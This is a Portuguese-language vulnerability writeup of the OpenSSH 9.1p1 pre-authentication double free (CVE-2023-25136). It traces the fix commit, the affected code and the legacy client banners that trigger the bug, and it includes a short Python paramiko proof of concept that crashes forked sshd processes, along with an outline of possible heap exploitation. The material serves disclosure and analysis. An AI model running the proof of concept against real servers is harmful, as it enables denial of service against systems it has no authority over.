
OpenSSH Pre-Auth Double Free CVE-2023-25136 – Writeup e Prova de Conceito
O OpenSSH é uma ferramenta popular usada para comunicação segura e acesso remoto. Foi desenvolvido como uma implementação gratuita e de código aberto do protocolo de comunicações Secure Shell (SSH) e é amplamente utilizado para diversas aplicações.
O OpenSSH fornece uma conexão segura e criptografada entre dois hosts não confiáveis através de uma rede insegura, tornando-se uma ferramenta essencial para acesso remoto e transferência segura de arquivos.
Com o uso crescente de computação em nuvem e acesso remoto a servidores, o OpenSSH tornou-se uma ferramenta crucial para administradores de sistemas e desenvolvedores que precisam acessar e gerenciar sistemas remotos com segurança.
O OpenSSH também suporta uma ampla variedade de plataformas, incluindo Linux, macOS e Windows, tornando-se uma ferramenta amplamente adotada em diferentes sistemas operacionais. Com sua facilidade de uso e fortes recursos de segurança, o OpenSSH tornou-se uma ferramenta padrão do setor para acesso remoto seguro.
Em 2 de fevereiro de 2023, o OpenSSH lançou a versão 9.2p1 com este aviso de segurança. Imediatamente ficou claro que esta versão é de interesse por causa da vulnerabilidade de double free pré-autenticação. Pesquisando o repositório do OpenSSH no GitHub, este é o commit da correção.
A mensagem do commit indica bz3522, que se refere ao problema do Bugzilla relatado pelo usuário Mantas Mikulėnas.
Em seu relato, Mantas menciona o uso da versão obsoleta 0.64 do PuTTY, anexando também um backtrace do abort devido ao double free.
Para nos aprofundarmos, montamos um ambiente com o OpenSSH vulnerável 9.1p1 e baixamos uma cópia da versão antiga do PuTTY 0.64, lançada há 8 anos, em 28 de fevereiro de 2015.
O seguinte erro foi retornado após tentar conectar com o PuTTY 0.64 ao servidor OpenSSH vulnerável:

Como os algoritmos de troca de chaves do cliente obsoleto não são suportados pela nova versão do OpenSSH, editamos o arquivo sshd_config adicionando a seguinte linha ao /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1
Depois de reiniciar o servidor SSH e tentar novamente, o seguinte erro foi retornado:

Após adicionar outra linha de configuração ao sshd_config, conseguimos conectar ao servidor OpenSSH vulnerável e reproduzir a falha:
HostKeyAlgorithms +ssh-rsa
Executando o servidor em modo de depuração (usando a flag -ddd), a seguinte mensagem de depuração foi retornada:
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
O número de syscall 20 é writev(), que corresponde ao relato do Bugzilla.
Observe que as alterações de configuração que fizemos foram apenas para reproduzir a vulnerabilidade através do PuTTY e não são necessárias para explorá-la. Como veremos na PoC, a configuração padrão é vulnerável.
Começamos examinando o commit da correção que afirma que compat_kex_proposal() é responsável pelo double free. Quando a opção de compatibilidade de conexão SSH_OLD_DHGEX é verdadeira em [1], o segundo argumento p é atribuído a cp em [2] e posteriormente liberado em [3].
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}
A chamada a compat_kex_proposal() está dentro da função do_ssh2_kex():
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
O cp=p liberado em compat_kex_proposal() refere-se ao argumento options.kex_algorithms.
Pesquisando por kex_algorithms no código-fonte, encontramos o assemble_algorithms do crash no relato do Bugzilla:
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE é um macro para chamar a função kex_assemble_names():
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
A função kex_assemble_names() é chamada com o endereço de o->kex_algorithms como seu primeiro argumento (que é listp). É aqui que ocorre o segundo free.
int
kex_assemble_names(char **listp, const char *def, const char *all)
Como o handle options.kex_algorithms é liberado e se torna um ponteiro pendente (dangling pointer), ele é liberado novamente, causando um double free.
Mas onde a opção SSH_OLD_DHGEX é definida?
Dentro da função compat_banner(), que determina os flags de bug a partir do banner do protocolo SSH. Uma struct chamada check[] lista todos os IDs de clientes SSH e seus flags. O trecho a seguir mostra os IDs de clientes que recebem a opção SSH_OLD_DHGEX. Também podemos ver que o WinSCP pode ser capaz de acionar esse comportamento.
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
Optamos por criar uma Prova de Conceito de negação de serviço em Python por causa de sua flexibilidade e portabilidade. A prova de conceito aciona o double free usando o pacote paramiko e causa um crash por abort.
paramiko é uma implementação SSH em Python amplamente difundida, fornecendo funcionalidades tanto de servidor quanto de cliente. Para a PoC, alteramos o banner da versão do cliente que se conecta para refletir um cliente obsoleto como o PuTTY v0.64.
Disponível em nosso repositório no GitHub.
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
O exploit aloca outra struct chamada EVP_AES_KEY no lugar do options.kex_algorithms liberado. Ela é liberada novamente quando o double free acontece. Em seguida, sobrescreve seu conteúdo com outro chunk usando authctxt->user ou authctxt->style.
Quando EVP_Cipher() posteriormente tenta usar este EVP_AES_KEY, ele usará este chunk que o sobrescreveu usando dados controlados pelo atacante.
O daemon do OpenSSH escuta conexões de clientes. Ele cria um novo daemon (fork) para cada conexão recebida. Os daemons bifurcados lidam com troca de chaves, criptografia, autenticação, execução de comandos e troca de dados.
A vulnerabilidade é um double free que pode teoricamente ser explorado para negação de serviço, como demonstrado pela nossa Prova de Conceito, e possivelmente para execução remota de código (RCE), embora desenvolver um exploit funcional seja considerado difícil devido às medidas de segurança existentes, como sandbox e mecanismo de separação de privilégios. Para uma negação de serviço, observe que apenas os daemons bifurcados travam, devido a uma violação de sandbox ao tentar chamar writev(), deixando assim o daemon principal do servidor livre para lidar com novos clientes.
Esta vulnerabilidade recebeu uma classificação de gravidade Alta pelas seguintes razões:
Nenhum pré-requisito é necessário. Uma configuração padrão é vulnerável.
Quando nenhuma mitigação de exploração de memória é aplicada (como ASLR ou NX), a RCE é possível, de acordo com uma publicação recente.
Quanto a um ataque de negação de serviço, derrubar um processo de trabalho bifurcado é muito menos grave do que uma DoS que derruba um daemon importante, mas ambos receberão uma classificação CVSS de impacto de Disponibilidade “Alta”.
Observe que o OpenSSH implementou medidas de segurança, como sandbox e mecanismo de separação de privilégios, mas elas não devem reduzir a gravidade do possível ataque de RCE.
A vulnerabilidade se aplica apenas à versão 9.1p1 do OpenSSH com configuração padrão, o que significa que nenhum pré-requisito é necessário.